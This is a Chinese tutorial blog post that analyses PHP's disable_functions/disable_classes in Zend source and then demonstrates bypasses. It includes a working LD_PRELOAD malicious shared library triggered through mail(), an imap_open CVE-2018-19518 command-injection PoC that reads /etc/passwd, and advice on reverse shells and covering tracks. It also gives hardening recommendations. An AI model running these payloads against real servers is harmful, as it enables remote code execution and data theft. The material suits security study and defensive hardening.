☰
disable_functions 机制解析与绕过实战:Learn-Web-Hacking 中的 PHP 函数禁用与突破
2026/10/13 1:50:04 网站建设 项目流程
  • 文档
  • 网络安全
  • 教程

【免费下载链接】Learn-Web-Hacking

Study Notes For Web Hacking / Web安全学习笔记

项目地址:https://gitcode.com/gh_mirrors/le/Learn-Web-Hacking
点击查看免费下载

本文以 Learn-Web-Hacking 仓库的 source/language/php/disablefunc.rst 为主线,从 php-src 的 Zend 引擎源码出发,剖析disable_functions/disable_classes的底层实现及其"启动时一次性生效"的根源;随后展开 LD_PRELOAD(mail()+putenv)、PHP OPcache、Mail 函数、imap_open(CVE-2018-19518)四条主流绕过路径,并结合仓库中 config.rst、basedir.rst、webshell.rst 等文档给出实战与加固建议。读完本文,你将理解 PHP 函数禁用机制为什么"禁用即不存在",并掌握在授权测试场景下设计绕过与防护方案的完整思路。

一、认识 disable_functions:PHP 的函数与类限制配置

在 PHP 的安全加固中,disable_functions与disable_classes是与open_basedir并列的经典限制手段。仓库的 source/language/php/config.rst 将这类配置归纳为"函数与类限制":

  • disable_functions:限制 PHP 进程内可调用的函数;
  • disable_classes:限制 PHP 进程内可实例化的类。

与它配套的还有目录访问限制(open_basedir,见 basedir.rst)、远程引用限制(allow_url_include默认关闭、allow_url_fopen默认开启)以及 Session 相关配置。四者从函数调用、目录访问、远程资源三个维度构成 PHP 应用的基础安全边界。

典型的配置写法(php.ini 或 PHP-FPM 池配置):

; 禁止常见命令执行与代码执行类危险函数 disable_functions = system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec ; 禁止危险类 disable_classes = DirectoryIterator,SimpleXMLElement

需要注意的是,disable_functions/disable_classes属于PHP_INI_SYSTEM级别的指令,只能在php.ini、服务器(如 Apache httpd.conf 的php_admin_value)或 PHP-FPM 池配置(php_admin_value[disable_functions] = ...)中设置,而不能由应用代码自行改变,这一点正是下文"为什么ini_set无效"的核心。

实战中,评估目标 PHP 环境时通常先枚举被禁用的函数:

<?php // 方式一:直接读取配置 var_dump(ini_get('disable_functions')); // 方式二:结合 get_defined_functions 计算白名单之外的可用危险函数 $disabled = array_filter(explode(',', ini_get('disable_functions'))); $all = get_defined_functions()['internal']; $usable = array_diff($all, $disabled); print_r(array_intersect($usable, ['putenv','mail','imap_open','error_log','mb_send_mail']));

二、机制实现:zend_disable_function 与 zend_disable_class 源码解析

PHP 中 Disable Function 的实现位于 php-src 的Zend/Zend-API.c。PHP 在启动阶段读取配置文件中禁止的函数,逐一根据函数名调用zend_disable_function来完成禁用。也就是说,禁用动作发生在引擎启动期,作用对象是 Zend 引擎内部函数表(function table)中已注册的内置函数条目。

2.1 zend_disable_function:函数条目的"就地改造"

原文档给出的当前版本核心代码如下:

ZEND_API int zend_disable_function(char *function_name, size_t function_name_length) /* {{{ */ { zend_internal_function *func; if ((func = zend_hash_str_find_ptr(CG(function_table), function_name, function_name_length))) { zend_free_internal_arg_info(func); func->fn_flags &= ~(ZEND_ACC_VARIADIC | ZEND_ACC_HAS_TYPE_HINTS | ZEND_ACC_HAS_RETURN_TYPE); func->num_args = 0; func->arg_info = NULL; func->handler = ZEND_FN(display_disabled_function); return SUCCESS; } return FAILURE; }

逐行理解其语义:

步骤源码作用
查找zend_hash_str_find_ptr(CG(function_table), function_name, function_name_length)以函数名为 key,在编译期全局函数表中查找对应的内置函数结构zend_internal_function;找不到则返回FAILURE
释放zend_free_internal_arg_info(func)释放该函数原有的参数信息结构
清标记func->fn_flags &= ~(ZEND_ACC_VARIADIC \| ZEND_ACC_HAS_TYPE_HINTS \| ZEND_ACC_HAS_RETURN_TYPE)清除变参、类型提示、返回类型声明等标记位
清参数func->num_args = 0; func->arg_info = NULL;参数个数清零、参数元数据置空
换处理器func->handler = ZEND_FN(display_disabled_function)将函数的执行 handler 整体替换为"已禁用函数"专用处理器

关键点在于最后一步:函数并不是从函数表中删除,而是原地替换执行入口。当后续代码调用该函数时,真正执行的是display_disabled_function,表现出的行为是抛出致命错误(如Call to undefined function system()),仿佛函数根本不存在。这种"替换 handler"而非"摘除节点"的做法,也决定了禁用状态对运行期代码而言是彻底的、不可见原始实现的。

2.2 zend_disable_class:类条目的整体清空

与函数类似,禁用类通过zend_disable_class实现,原文档给出的代码如下:

ZEND_API int zend_disable_class(char *class_name, size_t class_name_length) /* {{{ */ { zend_class_entry *disabled_class; zend_string *key; key = zend_string_alloc(class_name_length, 0); zend_str_tolower_copy(ZSTR_VAL(key), class_name, class_name_length); disabled_class = zend_hash_find_ptr(CG(class_table), key); zend_string_release_ex(key, 0); if (!disabled_class) { return FAILURE; } INIT_CLASS_ENTRY_INIT_METHODS((*disabled_class), disabled_class_new); disabled_class->create_object = display_disabled_class; zend_hash_clean(&disabled_class->function_table); return SUCCESS; }

与函数禁用的"保留节点"思路不同,类的处理更加激进:

  1. zend_str_tolower_copy:类名在 PHP 中不区分大小写,因此先将目标类名统一转为小写,再以转换后的字符串为 key 在类表CG(class_table)中查找;
  2. INIT_CLASS_ENTRY_INIT_METHODS((*disabled_class), disabled_class_new):把该类的全部方法替换为disabled_class_new生成的一组"禁用"桩方法;
  3. disabled_class->create_object = display_disabled_class:将创建对象时的create_object钩子替换为display_disabled_class,使new操作同样被拦截;
  4. zend_hash_clean(&disabled_class->function_table):直接清空类的函数表,所有成员方法被整体移除。

也就是说,一个被禁用的类在运行期既无法实例化、也没有任何可用方法,比函数禁用处理得更彻底。

2.3 启动流程与禁用时点

zend_disable_function/zend_disable_class是在PHP 模块启动(module startup)阶段被调用的:引擎读取php.ini/ FPM 池配置中的disable_functions列表,按逗号分隔后逐个调用上述 API。从源码结构看,这一处理发生在引擎正式处理请求之前,属于全局一次性操作。

由此可以得出一个重要推论:因为禁用动作发生在引擎启动期、直接修改了函数表和类表,运行期再通过ini_set修改disable_functions/disable_classes是无效的——此时启动期已经完成禁用,ini_set即便返回成功,也不会重新触发zend_disable_function的查找与替换过程。这是原文档明确指出的结论,也是评估绕过方案时必须先确认的前提条件。

三、Bypass 思路总览

既然禁用的本质是"内置函数/类在引擎内被替换或清空",绕过方向就集中在:寻找未被禁用的、能间接达成命令执行或代码执行的其他入口。原文档列出的主要绕过路径如下:

绕过方式核心前提触发链路
LD_PRELOADputenv()、邮件类函数未被禁用,且sendmail可执行putenv设置LD_PRELOAD→mail()拉起外部sendmail进程 → 恶意.so构造函数执行命令
PHP OPcacheOPcache 开启且file_cache目录可写写入伪造缓存文件 → PHP 加载其中携带的恶意字节码
Mail 函数sendmail_path指向可执行程序直接以邮件发送函数作为外部程序调用入口
imap_openphp-imap 扩展已加载且imap_open未被禁用mailbox 参数注入命令行选项 → imap 客户端执行命令(CVE-2018-19518)

下面逐一展开。

四、LD_PRELOAD 绕过(mail() + putenv)

这是最经典、也是最常被引用的绕过方式,原文档给出了参考项目bypass_disablefunc_via_LD_PRELOAD(yangyangwithgnu)。

4.1 原理

LD_PRELOAD是 Linux 动态链接器的环境变量:凡是被其指定的共享库,会在程序启动时优先于其他库被加载。PHP 的putenv()可以设置进程环境变量,而mail()(以及mb_send_mail()等邮件函数)在实现上会调用popen/exec拉起配置的sendmail_path(通常是/usr/sbin/sendmail)这一外部可执行程序。

putenv设置的LD_PRELOAD会随环境变量一起传给子进程sendmail,动态链接器在加载sendmail时就会把攻击者指定的恶意共享库载入。只要该共享库用__attribute__((constructor))声明了构造函数,代码便会在sendmail进程启动、执行main()之前抢先运行——从而在system/exec/shell_exec等函数全部被禁用的情况下,仍然获得命令执行能力。

4.2 前置条件

  • putenv未被禁用;
  • mail/mb_send_mail等能触发外部进程的函数未被禁用;
  • sendmail_path未被设置为空字符串(即mail()确实会拉起外部程序);
  • 具备向目标机器上传文件(写入恶意.so)的能力。

4.3 实施步骤

第一步:编译恶意共享库(在本地或目标同架构环境):

// evil.c #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void init(void) { // 先卸载 LD_PRELOAD,避免递归加载 unsetenv("LD_PRELOAD"); const char *cmd = getenv("EVIL_CMD"); if (cmd != NULL) { system(cmd); } }
gcc -shared -fPIC -o /tmp/evil.so evil.c

第二步:上传共享库并通过 PHP 触发:

<?php // 设置环境变量:指定要加载的恶意库 + 要执行的命令 putenv("LD_PRELOAD=/tmp/evil.so"); putenv("EVIL_CMD=id > /tmp/pwned.txt && whoami >> /tmp/pwned.txt"); // 触发 sendmail 子进程,完成共享库加载 mail("target@example.com", "subject", "body"); ?>

执行后检查/tmp/pwned.txt即可确认命令执行结果。实际利用中,命令通常以 Base64 编码后解码执行(规避引号、管道等特殊字符),或直接建立反向 shell;命令执行结果也可以回传到攻击者可控的日志/文件,再配合 webshell.rst 中描述的持久化技巧进行后续操作。

第三步:清理痕迹:命令执行完成后及时删除恶意.so与环境变量,避免暴露利用痕迹。

五、PHP OPcache 绕过

disable_functions只作用于源码层的函数调用,而 OPcache 绕过思路的核心在于:PHP 实际执行的是缓存的字节码,而非每次请求都重新解析源码。

  • 当opcache.enable=1且配置了opcache.file_cache(常见设置为可写的临时目录,如/tmp)时,OPcache 会把编译后的字节码写入该目录的缓存文件;
  • 如果攻击者已经具备一定的文件写入能力(例如已上传 WebShell、存在文件上传漏洞),并且能够控制或伪造缓存目录中的文件,从公开技术资料和相关研究看,可以构造携带恶意字节码的缓存数据,使 PHP 进程在后续请求中加载并执行这些缓存内容,从而绕过源码层面对危险函数的禁用;
  • 由于缓存命中与否依赖文件名、mtime、size 等元数据而非源码内容本身,一旦校验被绕过,禁用列表形同虚设。

需要注意,该手法对运行环境有较强依赖(OPcache 必须开启、file_cache必须可写、缓存键可控),并非所有环境都适用,实际利用前应先在目标环境验证 OPcache 配置(phpinfo()中查看opcache.enable、opcache.file_cache等字段),这也与 config.rst 中"从 phpinfo 可获得相关配置"的思路一致。

六、Mail 函数绕过

邮件发送函数是绕过disable_functions的经典"漏网之鱼":

  • 出于业务需要(找回密码、通知、验证码等),mail()、mb_send_mail()极少被管理员加入禁用列表;
  • 从机制上看,mail()内部最终会以外部命令方式调用sendmail_path指向的可执行文件,因此它本身就是一个"受控的命令执行入口";
  • 若sendmail_path可被间接控制,或配合第四节中的 LD_PRELOAD 手法,邮件函数即可成为完整的命令执行触发点。

需要强调的是,Mail 函数绕过成立的先决条件是sendmail_path未配置为空字符串(某些加固环境会设置sendmail_path=直接禁用邮件功能),并且目标系统确实存在可调用的 sendmail 类程序。评估时可通过ini_get('sendmail_path')先行确认。

七、imap_open 绕过(CVE-2018-19518)

7.1 漏洞成因

imap_open()用于建立 IMAP / POP3 / NNTP 等邮箱连接,属于 PHP 邮件处理扩展(php-imap)中的高频函数,同样常常不在disable_functions列表中。CVE-2018-19518 的成因是:在部分版本中,imap_open()会把用户可控的 mailbox 参数(尤其是其中的主机名部分)直接拼接到传给底层 imap 客户端二进制的命令行参数中,且未对空格、-等特殊字符做有效过滤,从而形成命令行注入。

7.2 影响与修复

  • 影响范围:该漏洞在官方修复版本(PHP 7.1.25、7.2.13、7.3.0 及之后)之前普遍存在;
  • 修复方式:对传入 imap 客户端的参数进行更严格的校验,禁止通过 mailbox 注入以-开头的命令行选项;
  • 利用价值:imap_open被管理员视为"普通业务函数"而鲜有禁用,一旦 php-imap 扩展可用,即可在system/exec全灭的环境下直接获得 RCE。

7.3 利用模式

公开的 PoC 思路大致如下:在 mailbox 的主机名部分注入-oProxyCommand选项,使其作为独立参数传给 imap 二进制;-oProxyCommand的取值可为一个命令,从而在连接建立阶段触发任意命令执行:

<?php // 将命令 Base64 编码,避免引号、管道等特殊字符破坏参数结构 $cmd = base64_encode("cat /etc/passwd > /tmp/passwd.txt"); // 在主机名位置注入 -oProxyCommand $server = "x -oProxyCommand=echo {$cmd}|base64 -d|sh"; $mailbox = '{' . $server . ':993/imap/ssl}INBOX'; imap_open($mailbox, '', '', 0, 1); ?>

实际利用时需根据目标 PHP 版本与 imap 客户端行为调整服务端口、加密选项(/imap、/ssl)以及-oProxyCommand中命令的编码方式。由于该漏洞属于版本相关的确定性漏洞,利用成功的前提是目标版本未打补丁,因此测试前应先通过phpversion()或phpinfo()确认 PHP 版本。

八、相关工具与仓库资源导航

围绕disable_functions绕过,仓库在其他章节归档了若干可复用的工具与资料,可在授权测试中参考:

  • source/language/php/ref.rst:收录了Bypass_Disable_functions_Shell(l3m0n 的绕过集成 Shell)以及 open_basedir 绕过等参考链接;
  • source/tools/exploit.rst:在 PHP 分类下列出了 Chankro(TarlogicSecurity)——用于规避disable_functions与open_basedir的利用工具;
  • source/language/php/basedir.rst:open_basedir的实现机制(main/fopen-wrappers.c中的php_check_open_basedir_ex),与disable_functions常被组合加固,也常被组合绕过;
  • source/language/php/sink.rst:eval/system/shell_exec等命令执行与代码执行 Sink 清单,可用于核对禁用列表是否覆盖到位;
  • source/language/php/webshell.rst:WebShell 变形、回调函数、反射、putenv+getenv等绕过技巧,与本文的绕过思路互补。

九、防御与加固建议

结合上述机制与绕过路径,给出针对disable_functions的防御建议:

  1. 禁用清单要"够用且穷尽":除system、exec、shell_exec、passthru、proc_open、popen、pcntl_exec外,还应评估putenv、mail、mb_send_mail、imap_open、error_log、FFI等间接执行入口,参考 sink.rst 的清单逐项核对;
  2. 多维度限制组合:disable_functions与open_basedir、allow_url_include等配置叠加使用(见 config.rst),避免单一防线被整体击穿;
  3. 控制外部程序执行:将sendmail_path指向受限封装程序或直接置空;确保 PHP 进程无法向 OPcache 缓存目录写文件;及时升级 PHP 以修复 imap_open 等历史漏洞;
  4. 权限最小化:以最低权限用户运行 PHP-FPM,限制/tmp等目录的可写性,压缩恶意.so上传与加载的空间;
  5. 运行时监控:关注mail()触发后的异常子进程、LD_PRELOAD环境变量、OPcache 缓存目录中的异常文件以及imap_open的异常参数,配合 defense 章节的检测思路落地告警。

结语

disable_functions是 PHP 应用加固的经典手段,但其"启动期替换 handler"的实现机制决定了它只能挡住最直接的攻击入口,无法封死所有间接执行链路。理解zend_disable_function/zend_disable_class的源码级原理,是评估绕过面、设计合理禁用清单的前提;而 LD_PRELOAD、OPcache、Mail 函数与 imap_open 四条路径,则分别从动态链接、字节码缓存、外部进程、扩展函数四个维度展示了 PHP 执行环境的真实攻击面。希望本文能帮助你在阅读 disablefunc.rst 之余,建立从"机制"到"绕过"再到"防御"的完整闭环。

  • 文档
  • 网络安全
  • 教程

【免费下载链接】Learn-Web-Hacking

Study Notes For Web Hacking / Web安全学习笔记

项目地址:https://gitcode.com/gh_mirrors/le/Learn-Web-Hacking
点击查看免费下载
上一篇:Quivr容量规划:资源需求评估和扩容策略
下一篇:从存储困境到自由扩展:xiaozhi-esp32 16MB分区方案深度解析

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询